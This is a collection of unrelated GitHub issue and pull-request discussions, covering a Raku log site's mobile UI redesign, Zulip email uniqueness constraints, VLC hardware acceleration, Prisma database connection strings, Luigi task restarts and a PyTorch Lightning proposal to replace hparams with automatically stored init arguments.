General templates and styles overhaul

Hello,
These changes aim to create a better website UI/UX, especially talking about mobile view. Mostly I was trying to avoid breaking your changes related to message log table for example, so I've tried to keep design as is, but with a few exceptions.
Mostly it based on this https://github.com/lizmat/App-Raku-Log/issues/3#issuecomment-913208077 and some personal requests made by @Altai-man.
Note I didn't touch JS part and you have to change some part of your Cro templates (e.g. navbar now has two browse menu, because one of them aimed for mobiles, so you need to create a component), sidebars toggling logic is still poor, etc.
Brief changelog

Rework common, index and homepage templates: improve layout (column system) in general, rework some elements, better element placement, etc
Change navbar structure, move date switcher from main container to navigation
Added secondary navbar to keep date switcher on mobiles, because main navbar can't contain Camelia logo, a channel dropdown menu and hamburger elements at the same time (for example on 360p width it's a mess on the same row)
Redesign the main menu on mobiles: now it contains all browse menu entries, and two tabs for search/filter settings
Some other style fixes & improvements

p.s. I've changed column layout, so maybe it will produce some issues for now.

Thank you for your work on this.  Is this still a work in progress?  Or is it ready to be merged?

Thank you, looks great.
It does seem like the mobile menu is either not working correctly, or it doesn't need the Filter / Search buttons.  For me, on Safari, it is showing both:

and clicking the "Search" button doesn't do anything.

Duh, forget to redo that.
In common.crotmp there is div with id tab-content, but somehow I put is-active class for both for them.

Ok, I think I can fix that :-)

I removed the "is-active" from the search part.  But the button still doesn't work.

But the button still doesn't work.

Yeah, as I noted in the initial message, I didn't touch JS part.

There's some more quirks, but I think I can handle them when I have time again to look into them more carefully.  Thanks again!
Ah no, there's one thing that's probably some width calculation being off somewhere deep in CSS:

That only appears to happen on "20 September 2021", because it is just a tad wider that "21 September 2021".

Yes, this issue appears due to a different font using in Safari, so you need to play with max-width here. I assume something in range 290-300px should be enough, but maybe a bit more.
https://github.com/lizmat/App-Raku-Log/blob/60ee5282769ec603b9bbf0b794bfa7e46db1d15b/base/static/styles/main.scss#L306-L307

tells me there's a new version of npm, is it safe to update?

290px fixes it

tells me there's a new version of npm, is it safe to update?

Well, kinda. It highly depends on a project and its dependencies, because sometimes it can broke your workflow when third party packages in your project cause incompatibility with the most recent version of npm (or vice versa) due to a lack of updates in their code base.
Considering we have pretty fresh dependencies, it should be ok.

Yay, I am really glad to see @lizmat reacting!
I hope this addresses a well bit of https://github.com/lizmat/App-Raku-Log/issues/3 and we don't need more tweaking.
What we, AFAIU, miss are the JS bits (we need a checklist maybe?) and live page which is still on my and I am quite eager to work on it as soon as the situation allows.


Add unique constraints and failover for email and delivery_email in UserProfile

Issue summary
UserProfile model has two fields email and delivery_email.
By definition, they should be unique_together with the realm.
We have code logic to check existence before save. However, the check is error-prone to concurrent requests.
We require case-insensitive uniqueness here. This may not be well-supported in  Django/DB now.
However, it's still better to at least enforce the unique_together constraints in the model to prevent any possible duplicate records.
Do you think we should handle the cases with duplicate records? And add the DB constraints?  Thanks.
File: zerver/models.py
class UserProfile(AbstractBaseUser, PermissionsMixin):
    # Both fields are unique within a realm (in a case-insensitive fashion).
    delivery_email: str = models.EmailField(blank=False, db_index=True)
    email: str = models.EmailField(blank=False, db_index=True)

Potential issues
When create user, we first check if user with that email exists. If not, then insert records.
def create_user_backend(...) -> HttpResponse:
    try:
        get_user_by_delivery_email(email, user_profile.realm)
        return json_error(_("Email '{}' already in use").format(email))
    except UserProfile.DoesNotExist:
        pass
    target_user = do_create_user(email, password, realm, full_name, acting_user=user_profile)

This kind of check is usually error-prone to concurrent requests given the DB isolation level.
Two concurrent requests will both get UserProfile.DoesNotExist from get_user_by_delivery_email, and create duplicate users in do_create_user.
If there are duplicate records in DB, we will get MultipleObjectReturned exception when get the user by email/delivery_email.
def get_user_by_delivery_email(email: str, realm: Realm) -> UserProfile:
    return UserProfile.objects.select_related().get(
        delivery_email__iexact=email.strip(), realm=realm
    )

def get_user(email: str, realm: Realm) -> UserProfile:
    return UserProfile.objects.select_related().get(email__iexact=email.strip(), realm=realm)

Expected change
The DB constraints can provide an extra level of protection to avoid duplicate records.

Consider using CIEmailField and CICharField, which are  case-insensitive versions of EmailField and CharField in Postgres-specific Field in Django.
Although the type is postgre-specific and it could be a big DB schema change.

We can add the unique_together constraints to DB  to UserProfile class. Though this cannot not avoid case-insensitive issues, (which still can rely on the code logics to check), it's still better to have the constraints.

File: zerver/models.py
class UserProfile(AbstractBaseUser, PermissionsMixin):
    class Meta:
        unique_together = (("realm", "delivery_email"),)

We may add failover code for get_user_by_delivery_email and get_user when MultipleObjectReturned.

Hi @alya,
Is this something that can be worked on?

@mharyam  Please find an issue with a "help wanted" label. See https://zulip.readthedocs.io/en/latest/overview/contributing.html.

I'm pretty sure the code is already correct (see zerver/migrations/0295_case_insensitive_email_indexes.py). It may be better to use CIEmailField but I'm not really sure; I have a vague recollection that Django does not always recommend this.
I'll leave this open but I think we'll want to see a well-researched PR from anyone interested in working on this.


add Input: itemsContainerClass to specify css class for container of ngx treeview items

add Input: itemsContainerClass to specify css class for container of ngx treeview items

Codecov Report

Merging #76 into master will increase coverage by 0.02%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master      #76      +/-   ##
==========================================
+ Coverage   94.44%   94.46%   +0.02%
==========================================
  Files          13       13
  Lines         468      470       +2
  Branches       99       99
==========================================
+ Hits          442      444       +2
  Misses          3        3
  Partials       23       23

Impacted Files
Coverage Δ

src/lib/treeview-item.component.ts
77.14% <100%> (+0.67%)
:arrow_up:

src/lib/treeview.component.ts
92.96% <100%> (+0.05%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b13d0d3...b9fd539. Read the comment docs.


Adding contributors to the README

Title:
Update README and Add Contributors Section
Description:
The README file needs an update to include a dedicated section that recognizes and acknowledges the valuable contributions made by project contributors. This section should highlight their names, roles, and notable contributions. By doing so, we can give credit where it's due and showcase the collaborative nature of the project.

Hi , I am a contributor in GSSOC'23 , Can you assign this issue to me

@mkswagger ok add it to the end of readme file, also if you think any imporovement is required in readme, feel free to create pr for that with the changes you will made

@mkswagger ok add it to the end of readme file, also if you think any imporovement is required in readme, feel free to create pr for that with the changes you will made

Yh sure will work on that


Hardware acceleration

In VLC player i can activate dxva2 hardware acceleration to reduce CPU load by about 80%.
is that also possible in xZune?
i already tried passing  "--avcodec-hw=dxva2" and   "--avcodec-hw=any" with VLCPlayer.Initialize(), but that didn't work.

ummm, have you initialize player before?
VlcPlayer will auto initialize when you use it in xaml.
Maybe you can try add your options with VlcSettings, like this:
[assembly<EMAIL_ADDRESS>"-I", "dummy", "--ignore-config", "--no-video-title","--avcodec-hw=dxva2" )]
See the Quick Start to get more information.

First of all, thank you for the answer.
I tried your advice, but it did not work unfortunately.
I found information that maybe this parameter is supposed to be passed with libvlc_media_add_option _instead of libvlc_new.
I can only assume that means using this: VLCPlayer.AddOption("--avcodec-hw=dxva2").
I am not sure if i need to have a video loaded for this, so i tried it before and after loading a video and it did not work both times.
if i start VLC player from the command line like this it works:
vlc.exe --avcodec-hw=dxva2 "Video_Path"
although i dont know what exactly vlc player passes to libvlc. Can you tell me how i have to use AddOption for it to work?
Thanks again.

Maybe you can try LoadMediaWithOptions method.

Okay that worked, thank you.
for future reference: if you want to use hardware acceleration via dxva2, the parameter is ":avcodec-hw=dxva2", NOT "--avcodec-hw=dxva2". for some reason it has to have the  ":". the whole command then is:
VLCPlayer.LoadMediaWithOptions( _VIDEOPATH, new String[] { ":avcodec-hw=dxva2" });
This reduces CPU from 50 to under 20% on my machine.


DEV: Web - Console error when clicked on Reimbursements

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Action Performed:

Open settings > Workspaces >
Select a workspace from the list
Click Reimbursements

Expected Result:
There shouldn't be a console error
Actual Result:
onsole error: Warning: Failed prop type: The prop innerRefis marked as required inPressableWithDelayToggle, but its value is null`.
Workaround:
Unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[ ] Android / native
[ ] Android / Chrome
[ ] iOS / native
[ ] iOS / Safari
[x] MacOS / Chrome / Safari
[ ] MacOS / Desktop

Version Number: 1.3.47-2
Reproducible in staging?: y
Reproducible in production?: y
If this was caught during regression testing, add the test name, ID and link from TestRail:
Email or phone of affected tester (no customers):
Logs: https://stackoverflow.com/c/expensify/questions/4856
Notes/Photos/Videos: Any additional supporting documentation
https://github.com/Expensify/App/assets/93399543/27b3d467-2995-4cf8-b5dd-968b435dafb4
Expensify/Expensify Issue URL:
Issue reported by: @misgana96
Slack conversation: https://expensify.slack.com/archives/C049HHMV9SM/p1690619039709079
View all open jobs on GitHub

Adding engineering to confirm reproduction.

The same error is also present on the 2FA page (Settings > Security > Two-factor authentication)

this is dupe of https://github.com/Expensify/App/issues/23093


Upgrade to TensorFlow 1.9.0 with Raspbian pip repo

Still buggy with numpy.dtype size...
[liuqun@localhost build-tensor-pi]$ docker run -it -p 8888:8888 liuqun/rpi-docker-tensorflow:armhf-jessie /bin/bash
root@8239c44bebda:/notebooks# python
Python 2.7.9 (default, Aug 13 2016, 17:56:53)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import tensorflow
/usr/local/lib/python2.7/dist-packages/tensorflow/python/framework/tensor_util.py:32: RuntimeWarning: numpy.dtype size changed, may indicate binary incompatibility. Expected 56, got 52
  from tensorflow.python.framework import fast_tensor_util
>>> a = tensorflow.constant(1.23456)
pure virtual method called
terminate called without an active exception
qemu: uncaught target signal 6 (Aborted) - core dumped
Aborted (core dumped)
root@8239c44bebda:/notebooks#


12778 remove header on disaster ninja at all

Todo:

when new default icon is ready - import it from modules
we might change icons to opaque here or on another PR
Kontur logo will be updated with new palette

Done:

Header removed
Dynamic app icon added (depends on app id)
Layouts changed according to design - kontur logo moved to the right. So i moved map controls and made footer 100% wide in each layout grid.

Examples:
Desktop view

Laptop view

Mobile view

Can't see K / Kontur logo on sidebar here

need @Akiyamka help to solve build conflict considering


✨ textToImage inference

Closes #7
Adds text-to-image support to the inference api. textToImage returns a Buffer. The consumer can then call .toString('base64') to get the generated image for usage in the browser, etc.
 await hf.textToImage({
			inputs:          "award winning high resolution photo of a giant tortoise/((ladybird)) hybrid, [trending on artstation]",
			negative_prompt: "blurry",
			model:           "stabilityai/stable-diffusion-2",
		});

Browsers don't support Buffer.
I think returning ArrayBuffer is fine - we target recent versions of Node (where fetch is available) which support it too.
Regarding base64 conversion, if we ever want to expose an helper to the user there is this in @huggingface/hub, can be called base64FromBytes(new Uint8Array(arrayBuffer))


Improve readability of viml function in lua

As the title states this pr doesn't chabge any behaviour . Insted just changes the viml function to be more readable . Previously it was written in one line w8th escapes and was hard to understand :)

Nice one, thanks.


Admin - Initial Configuration for Best Experience

Documenting the Setup experience post install.  What does an Admin need to configure, setup, assign, etc for the best End User experience.  This is focused on docuementation.
Permissions Set
Picklist Values
Org-Wide Email Setup

Google Document - https://docs.google.com/document/d/1KsU8HtFZdy8sQWunmp3ztOYQTOa8KkoSpzHuYGUnDqE/edit?usp=sharing

I added a page to the wiki titled  "0 – Steps To Do Before You Start Using Summit Events" that addresses this issue https://github.com/SFDO-Community-Sprints/Summit-Events-App/wiki/0--–--Steps-To-Do-Before-You-Start-Using-Summit-Events

Move to done as this is in the Wiki and seem complete.
Thank you, @jimhubert


Prisma unable to connect to remote postgres via DATABASE_URL

Bug description
Cannot connect to remote postgres db.
I can connect to the connection string using Postico and also PSQL. I have tried two separate db providers (Neon and Bit.io) and both connected fine with Postico and PSQL, but I get this error with Prisma:
Error: P1000

Authentication failed against database server at `db.bit.io`, the provided database credentials for `(not available)` are not valid.

Please make sure to provide valid database credentials for the database server at `db.bit.io`.

Prisma works totally fine if I change the .env DATABASE_URL to a local db connection string. I cannot for the life of me figure out why the connection string is failing.
How to reproduce

Setup prisma in a new project
Create a bit.io free db
Create any schema
Try to run prisma db push

Expected behavior
No response
Prisma information
Using this prisma javascript client 4.11.0
Environment & setup
MacOS + Node 16.x
Prisma Version
prisma                  : 4.11.0
@prisma/client          : 4.11.0
Current platform        : darwin-arm64
Query Engine (Node-API) : libquery-engine 8fde8fef4033376662cad983758335009d522acb (at<EMAIL_ADDRESS>Migration Engine        : migration-engine-cli 8fde8fef4033376662cad983758335009d522acb (at node_modules/@prisma/engines/migration-engine-darwin-arm64)
Format Wasm             : @prisma/prisma-fmt-wasm 4.11.0-57.8fde8fef4033376662cad983758335009d522acb
Default Engines Hash    : 8fde8fef4033376662cad983758335009d522acb
Studio                  : 0.483.0

@jnarowski replace the last slash in the database name, ie: temp/trial, to a dot to make the final connection string as follows:
postgresql://temp:{your password}@db.bit.io:5432/temp.trial
instead of:
postgresql://temp:{your password}@db.bit.io:5432/temp/trial

Do I assume correctly that this is a bit.io specific thing that they have database names including / which sometimes needs to be replaced with .?

@janpio I would say that it's a weird thing on bit.io. I've only seen other connections strings typically using the usual HTTP URL parameters for additional fields ie: postgresql://[USERID]:[PASSWORD]@[HOST]/[YOURDB]?**schema=trial**

Has anyone else had issues with slashes in database names on Postgres? Replacing the slash with a dot didn't do anything, and if I try to percent encode it with %2F, Prisma takes it literally and tries to connect to the database with "%2F" in its name.

The issue might be related to the special characters in your password. The $ character is a reserved character in URLs and needs to be URL-encoded. In URL encoding, $ becomes %24.
that was the case for me.


How to programmatically restart a specific task after failure?

I have a callback that listens for a failure event on a specific task. It attempts to fix the problem, but I cannot figure out how to automatically restart the failed task from the callback. Is there a way to do this?

In luigi land, only workers ask for work. Typically, you have workers being launched at least hourly and then everything not finished will be run and that satisfies most business requirements. Furthermore there might already be workers that have registered that task and they will run the tasker even sooner if the central scheduler permits (check the configuration section for retrying). Having some delay is in general a good practice as theirs not point in constantly restart something that fails and waste resources (remember, luigi was originally made for Big Data).
If you for whatever reason really want to restart the task immediately, configure your scheduler appropriately and make your callback start a new worker (either grammatically with interface.py or start a new luigi cli process).

Thanks for the details response @Tarrasch. I understand the best practice is to rerun the pipeline periodically, but given the constrains of the environment, we can only run once daily. I tried using Interface.run([task]) to restart the failed task, but I get an error saying Pid(s) 21389 already running. It seems what I need to do is add the failed task back to the queue of pending tasks. Is there a way to accomplish this?

Interface.build() bypasses the lockfile-check, but it's still not what you want.
Actually you don't need to put the failed task back in a queue. The task is already registered with the worker. You should just play around with configuration for --worker-keep-alive the schedulers options regarding delays for rerunning of failed tasks.

I understand that, philosophically, Luigi is designed for idempotent jobs, thus there wasn't much effort given to restarting specific tasks. In nightly ETL environment, jobs might be long-running, and the entire ETL proces can take hours to execute. What if a task in the middle of the batch fails? Is there some backdoor method to "Restart At Step [n]"?

In luigi land, only workers ask for work. Typically, you have workers being launched at least hourly and then everything not finished will be run. That solution satisfies most business requirements. Furthermore there might already be workers that have registered that task and they will run the tasker even sooner if the central scheduler permits

I'm not sure I follow... given a complex batch process with many dependencies, how would you recommend building an hourly schedule?

Typically your dependency graph has many roots (typically CreateFinalFileForReporting(date=xxx), UploadUsersToDb(date=xxx)). I recommend having something like.
13 * * * * luigi --module my_reporting_module CreateFinalFileForReporting
44 * * * * luigi --module my_db_ingestion_module UploadUsersToDb

Where 13 and 44 are "random" minutes for load balancing. Please play around with luigi a bit more to strengthen your understanding. :)

closing this issue.

[x] It has been inactive for +4 months.
[ ] It's not about luigi core, so not as many users are affected about this.
[ ] The change seems quite big, it's unlikely to be sporadically picked up.
[ ] The owner haven't responded or disappeared.
[ ] I don't understand what this issue is about.
[x] There exists a reasonable workaround for this.
[ ] We need to check if this hasn't been fixed by now (for old issues).
[x] This is kind of by design and not a bug.
[ ] Resolving this would probably add a lot of complexity.

Every open issue adds some clutter, and we try to make the issues fewer and make it easier for new collaborators to find. Currently we try to close any issue that meets the first checkbox + one other.
Feel free to reopen this issue at any point if you have the intent to continue to work this. :)


Refactoring to use Intel Optimized Pytorch

This pull request refactors the original langchain dockerfile to be based on Intel Optimized Pytorch base image

Merge into CI branch first, for testing.

Merge into CI branch first, for testing.

How can we see the result of the CI tests?


Intro to state in Compose: Android Basics with Compose

URL of codelab
https://developer.android.com/codelabs/basic-android-kotlin-compose-using-state
In which task and step of the codelab can this issue be found?
In the section "Add the TextField composable", step 4 through 6
Describe the problem
I am unable to import the TextField from androidx.compose.material.TextField, I get an Unresolved reference
Steps to reproduce?

Go to...
Click on...
See error...

Versions
Android Studio version: Chipmunk | 2021.2.1 Patch 1
API version of the emulator:  Pixel XL API 30
Additional information
Include screenshots if they would be useful in clarifying the problem.

I have the same problem.
How did you solve it?

I solved this problem by updating the version of the dependent library.

@EnerEkstroem
Are you still facing this issue?
We have updated the code to BOM. Could you test this one more time and let us know, if you are stuck.


feat: replay data services

Depends on:

[ ] https://github.com/rock-core/tools-syskit/pull/408

I think I understand what you have done here, but I can't connect how it solves the camera log replay

One of the major current issues with replay scripts is that you have to pretend that the replayed tasks is what it was. For device drivers, it means it has to match what a device driver does, which for instance mean having a device associated with it.
In other cases, the issue is with dynamic services. If the port was part of a dynamic service, you need to update the model to match. A pain.
This makes sure we can easily replay some ports by telling Syskit they are service X and then injecting them in compositions that accept service X. No more pretending.


Create Packages without Husky

Current Behavior
New packages add husky hooks to the git repository.
Desired Behavior
Provide an optional flag to disable husky
Suggested Solution
tsdx create something-in-monorepo --no-hooks

Who does this impact? Who is this for?
This is for developers maintaining mono repos containing multiple packages. New hooks shouldn't be added when packages are created.
This is especially troublesome when switching between feature-branches where each branch might not have the same packages. The hooks fail and prevent committing, pushing, etc.
Describe alternatives you've considered
The alternative is to not use tsdx to create the new packages but to manually copy and paste existing packages in the monorepo.
Or I could manually open the commit hook files and delete the generated code
Additional context
We're using tsdx for some packages stored in the tinacms monorepo, which is managed using lerna.

this is needed for every mono repo


stable rust

Hey, I'd love to use this, but it requires rust nightly. Any chance of being able to turn off the requirement for rust nightly ?

At the moment, no, for two reasons:

Specialization is currently used internally for automatic impls for MulN, MulZ, PowN, and PowZ as implementing those traits manually is quite tedious and practically requires specialization anyway.
maths-traits currently uses feature(trait_alias) extremely heavily. (as in, practically 3/4ths of the items in the crate are trait aliases)

Now, in regards to the trait aliases, it is certainly possible to get the same behavior without them (ie using traits with blanket impls ), and I've even done it before, but to my knowledge there is really no way to fix the need for specialization. It's possible that maybe we could gate those traits behind a crate feature, but other than that, I am not aware of any solution.

got it. Looking forward to being able to use this in the future :)

If you don't mind me asking, what were you thinking of using it for? I'm mainly just curious, but knowing how this project will be used could help steer some design decisions if I ever decide to come back to this to add or modify things in the future.

I was happy I found this until I realized, how heavily it relies on specialization and I need nightly.
Looks like I still have to stick to num traits for a while or just create my own crate...


replace Hparams by init args

Problem
hparams was a temporary fix for not auto storing args by users. It’s something everyone hacks around, is not intuitive and makes the pl module somehow less like at pt module.
end of hparams!
This PR
This PR removes that and instead:

Stores all the args passed in init automatically so checkpoints can have this information.
doesn’t store things like losses, etc... only primitives, lists, dicts, tuples and namespace
auto saves this info into checkpoints
it DOES NOT assign properties automatically

Backward compatibility

this PR is still backward compatible for people who want to continue using hparams directly.

Summary
Before:
hparams = dict or Namespace

class LitModel(pl.LightningModule):
    def __init__(self, hparams, my_pretrained_nn_module):
        super().__init__()
        self.hparams = hparams
        self.l1 = nn.Linear(hparams.in_dim, hparams.out_dim)
        self.feature_extractor = my_pretrained_nn_module()

# old way had a ton of problems with this
model = LitModel.load_from_checkpoint(PATH)

New:
class LitModel(pl.LightningModule):
    def __init__(self, in_dim, out_dim, my_pretrained_nn_module):
        super().__init__()
        self.in_dim = in_dim
        self.out_dim = out_dim

        # self.in_dim, etc were auto registered to the module
        self.l1 = nn.Linear(in_dim, out_dim)
        self.feature_extractor = my_pretrained_nn_module()

# load from checkpoint still works as normal, but objects and such need to be specified
model = LitModel.load_from_checkpoint(PATH, my_pretrained_nn_module=MyModule)

# or can overwrite the old settings as well
model = LitModel.load_from_checkpoint(PATH, in_dim=some_new_dim, my_pretrained_nn_module=MyModule)

@awaelchli @justusschock
Need to figure out the loading/saving stuff and update tests

Hello @williamFalcon! Thanks for updating this PR.

In the file pl_examples/domain_templates/reinforce_learn_Qnet.py:

Line 270:52: W504 line break after binary operator

if someone renames "self" to "this" for example, it could break, right?

if someone renames "self" to "this" for example, it could break, right?
need to pull out the first one in the arg list and only consider the rest

is it an ordered dict? otherwise what if someone names it not this but something else

if someone renames "self" to "this" for example, it could break, right?
need to pull out the first one in the arg list and only consider the rest

is it an ordered dict? otherwise what if someone names it not this but something else

in python does not matter if you call it self or king just the first argument is treated such way and hold for the particular method, the self is just convention as well as this in Java

for sure with this change and previously merged matrics we have to go with v0.8 as next release :]
correct me if I am wrong but I feel this is quite major API change...

@yukw777 ok... the last issue to handle is what you mentioned.
=========================================================================================== short test summary info ===========================================================================================
FAILED tests/trainer/test_trainer.py::test_auto_hparams - TypeError: __init__() got an unexpected keyword argument 'batch_size'
FAILED tests/trainer/test_trainer.py::test_dict_namespace_param_save_load - TypeError: __init__() got an unexpected keyword argument 'drop_prob'

@justusschock fixed all the checkpoint and yaml stuff. Take a look?

@yukw777 @tullie this is what i added. Why do we need the datamodules?
    def _auto_register_hparams(self):
        """
        Removes the need to pass in hparams. Instead, we register every argument in init
        to the module with some caveats:
        1. we don't overwrite the property if it already exists
        2. we also store a module_arguments property for model loading and saving
        """
        # two frames back is the init of the child module
        frame = inspect.currentframe()
        frame_args = frame.f_back.f_back.f_locals

        # we'll save hparams automatically (renamed to module_arguments)
        module_arguments = {}

        # pull out the child itself to make sure we have no issues
        child = frame_args['self']

        # auto set the attr which enables self.attr anywhere in the code
        for name, value in frame_args.items():

            # don't add self
            if name not in ['self']:

                # only track some things
                is_trackable = self._is_allowed_hparam_value(value)

                # don't overwrite something already set
                if not hasattr(child, name) and is_trackable:
                    setattr(child, name, value)

                if is_trackable:
                    module_arguments[name] = value

        # set module_arguments in child
        setattr(child, 'module_arguments', module_arguments)

    def _is_allowed_hparam_value(self, value):
        if isinstance(value, Namespace):
            return True
        return not hasattr(value, '__dict__')

have you seen this recently?
AttributeError: module 'tensorflow' has no attribute 'io'

@williamFalcon would something like this work?
commit b1464d381fa2ba2b031b3edbb3814f234dfe0031
Author: Peter Yu<EMAIL_ADDRESS>Date:   Wed May 20 14:27:27 2020 -0400

    keep back tracing until the frame of the leaf class

diff --git a/pytorch_lightning/core/lightning.py b/pytorch_lightning/core/lightning.py
index 8147355a..90c39019 100644
--- a/pytorch_lightning/core/lightning.py
+++ b/pytorch_lightning/core/lightning.py
@@ -1708,9 +1708,13 @@ class LightningModule(ABC, DeviceDtypeModuleMixin, GradInformation, ModelIO, Mod
         1. we don't overwrite the property if it already exists
         2. we also store a module_arguments property for model loading and saving
         """
-        # two frames back is the init of the child module
+        # start from the current frame, and trace back until the next frame is no longer `__init__()`
+        # since that means we've reached the leaf
         frame = inspect.currentframe()
-        frame_args = frame.f_back.f_back.f_locals
+        while frame.f_back.f_code.co_name == '__init__':
+            frame = frame.f_back
+
+        frame_args = frame.f_locals

         # we'll save hparams automatically (renamed to module_arguments)
         module_arguments = {}

This does beg the question if we should inspect frames like this at all.. Feels very hacky. I think it might be better to just add an abstract method that'd return the constructor arguments?

Since there is no issue corresponding to this PR, can you list out the pain points of hparams and why we want this solution?

Since there is no issue corresponding to this PR, can you list out the pain points of hparams and why we want this solution?

From my side, the hparams is huge backbox and not very transparent especially if you want to inherit from other models, probably no need to have it directly mapped to self, keep it in self.hparams would be possible...
I think that @williamFalcon has a strong argument for this :]

yeah, hparams was a temporary fix for not auto storing args by users. It’s something everyone hacks around, is not intuitive and makes the pl module somehow less like at pt module.
This PR removes that and instead:

Stores all the args passed into init automatically
doesn’t store things like losses, etc... only primitives, lists, dicts, tuples and namespace
auto saves this info into checkpoints

@williamFalcon one question regarding this:

doesn’t store things like losses, etc... only primitives, lists, dicts, tuples and namespace

doesn't that mean, that we cannot restore from checkpoint only, if the init requires something that isn't stored?

@PyTorchLightning/core-contributors pls mind start your review...
@awaelchli mind help to fix the failing example?

@williamFalcon one question regarding this:

doesn’t store things like losses, etc... only primitives, lists, dicts, tuples and namespace

doesn't that mean, that we cannot restore from checkpoint only, if the init requires something that isn't stored?

it was there even before that all unserializable hparams was dropped (even more if any of them was not clickable all were dropped) so now we filter only those which can be pickable

I think we should save any init arguments that are picklable. This is what we already do for hparams anyway. It’d give us more flexibility. Otherwise, we’d have to manually save/load these picklable objects.

@yukw777 you think we should just pickle all args? what about the way it is done now?

This is ready to go. Let's merge this and we can all test it and fix whatever issues come up? but the tests we wrote should cover most cases.

I think we should save any init arguments that are picklable. This is what we already do for hparams anyway. It’d give us more flexibility. Otherwise, we’d have to manually save/load these picklable objects.

that is what it is doing now...

@williamFalcon lest give @PyTorchLightning/core-contributors an hour to check it, it is quite important to get this right... @awaelchli @justusschock @SkafteNicki mind have look?

@Borda ah i just read the code and you're right, we're saving everything that's picklable. cool!
I don't think the description of this PR quite reflects that @williamFalcon. nn.Module is generally picklable after all. That's why I was confused about this point.

I'd like to highligt possible issues that some users may face after this change, based on my example. I'm doing tasks for NLP and my module looke like this
class MyModule(LightningModule):
	def __init__(self, hparams: dataclass, pretrained_bert: Module, train_dataset: Dataset, val_dataset: Dataset, test_dataset: Dataset)

Issues that I will face:

lightning will now to add hyperparams of pretrained BERT, maybe params of datasets too to the hparams of the experiment, while I only want to save the hparams - this would make experiments harder to compare visually
worse yet, it may try to serialize BERT for each experiment, so my checkpoints will be much larger that I need
in general, user may want to serialize only a subset of arguments, but if just one of the other arguments won't be serializable, lightning would drop all of them from the checkpoint.

So while I'm not really enthusiastic about this change, it will be great if Lightning would allow me to disable the magic of auto-registring hparams and let me explicitly choose what I need to save. Thanks.

ok @yukw777 @awaelchli @justusschock @Borda @tullie
mind taking a look and approving this if you are ready? this is a big PR which should simplify a lot, but with profound impacts to a lot of things haha.

OK I think this PR has veered off from what I was expecting this to be.. Let me try to summarize how I understand this PR:

Obviously, hparam is no more and we save all the arguments in the init function into our checkpoint so we can restore our module later.
We also assign these arguments to the init function as instance attributes automatically. This is why we have to recurse through all the child modules and collect the init arguments so that we can later restore them as instance attributes.

Given my understanding is correct (please let me know if it's not), I don't think we want to do 2 for the following reasons:

This is a side effect that is not obvious to the user, and even against his/her expectation.
This over-complicates the implementation b/c we have to book-keep the init arguments at every level of class hierarchy.
This is also a departure from our previous behavior where we had to explicitly assign hparams as an instance attribute.

My suggestion is to skip assigning init arguments as object attributes, and just save what's necessary to call the initial init argument. This drastically reduces what needs to be saved in the checkpoint, as well as simplifying the implementation, and removes the side effect that goes against the expectation of the user.

I see another issue directly in the examples (on what @yukw777 already touched in his/her comment above)
Go to pl_examples/basic_examples/gpu_template.
It is broken, because we pass in a Namespace. We should pass in **vars(haprams).
However, then another issue arises. hparams here contains ALL Trainer args, but if we have a fixed list of args in the LightningModule, it will complain with
TypeError: __init__() got an unexpected keyword argument 'gpus'
I think this is an important use case here.
We have to decide between:

make the signature of __init__ accept *args, **kwargs. This will have the side effect that all trainer args will land as property of LightningModule. Not ideal in my view (why  should LightningModule an attribute gpus?
Split the argparse into two parsers, one that reads only model params and the other the rest.
or a third option, not sure what

re the child modules, what happens when you have a parent that let’s say, assings num_layers=3. And the child adds another arg (hidden_dim).
when we save hparams, both num_layers and hideen_dim are needed to init the module no?

I think I get where you're coming from: you're trying to solve how we track hyperparameters for logging and whatnot. I think for that it's OK to leave the instance attribute self.hparams alive, or even have the user specify the instance attribute to use in the logger (this can come later if this indeed is useful). Let's take your example:
class MyModule(pl.LightningModule):
    def __init__(self, num_layers=3):
        super().__init__()
        # user is free to use num_layers however she sees fit...
        # assign it to hparams.. (we can keep the special status of "instance attribute" hparams)
        self.hparams = {'num_layers': num_layers}
        # assign it as an instance attribute directly
        self.num_layers = num_layers
        # or not save it at all

class Child1(MyModule):
    def __init__(self, hidden_dim=128):
         super.__init__()
         # same thing here, user is free to do whatever with hidden_dim

class Child2(MyModule):
    def __init__(self, num_layers, hidden_dim):
        super().__init__(num_layers=num_layers)
        # same thing here, user is free to do whatever with hidden_dim

MyModule() # we want to save args=(), kwargs={}, num_layers will be filled in automatically by Python
MyModule(num_layers=1)  # we want to save args=(), kwargs={'num_layers': 1}

Child1() # we want to save args=(), kwargs={} (hidden_dim will be filled in automatically by Python)
Child1(hidden_dim=64)  # we want to save args=(), kwargs={'hidden_dim': 64}

Child2(5, 10)  # we want to save args=(5, 10), kwargs={}

As you can see, if we just save the arguments for the very first init call, the rest are taken care of by inheritance.

but in your example
Child1(hidden_dim=64)  # we want to save args=(), kwargs={'hidden_dim': 64}

Don't we in fact want to save:
Child1(hidden_dim=64)
# save:
# args=(), kwargs={'hidden_dim': 64, 'num_layers':3}

You're right, but do we really want to handle that case? If the user changes the definition like that, the checkpoint will no longer be valid, and the user should be responsible for compensating for that change.

I think what we are solving for is reproducibility... if we share this checkpoint around we want to know exactly how it was trained... If we don't store this information, this model is useless beyond your particular codebase or use case.

Hmm I see, but in that case, where do we draw the line? You can argue that the whole code base should be part of the checkpoint to ensure maximum reproducibility. Don't you think it's a reasonable cut-off to say researchers using PL should share the checkpoint and the exact code version (git hash or something like that) for reproducibility? It will make the problem PL has to handle much simpler.

This may be an easy question, but for me it's not obvious which problem users may want to solve by inheriting from LightningModule? For example, users may want to use composition of their LightningModules instead. Have you encountered some examples in which such inheritance would be a best approach?

Hmm I see, but in that case, where do we draw the line? You can argue that the whole code base should be part of the checkpoint to ensure maximum reproducibility.

here we would need to save much more, also complete fingerprint - all libs and versions, etc.

I somehow like the idea with listing the __init__ arguments in a transparent way, just looking to init education you know what is needed (not like now you need to have deep dive and check what params are requested from hparams black box) and also the inheritance that you just define what is changing...
On the other hand, the assigning all to self as attribute may interfere with the codebase and another customer usage so having encapsulated in self.hparams space would be quite a convenient solution

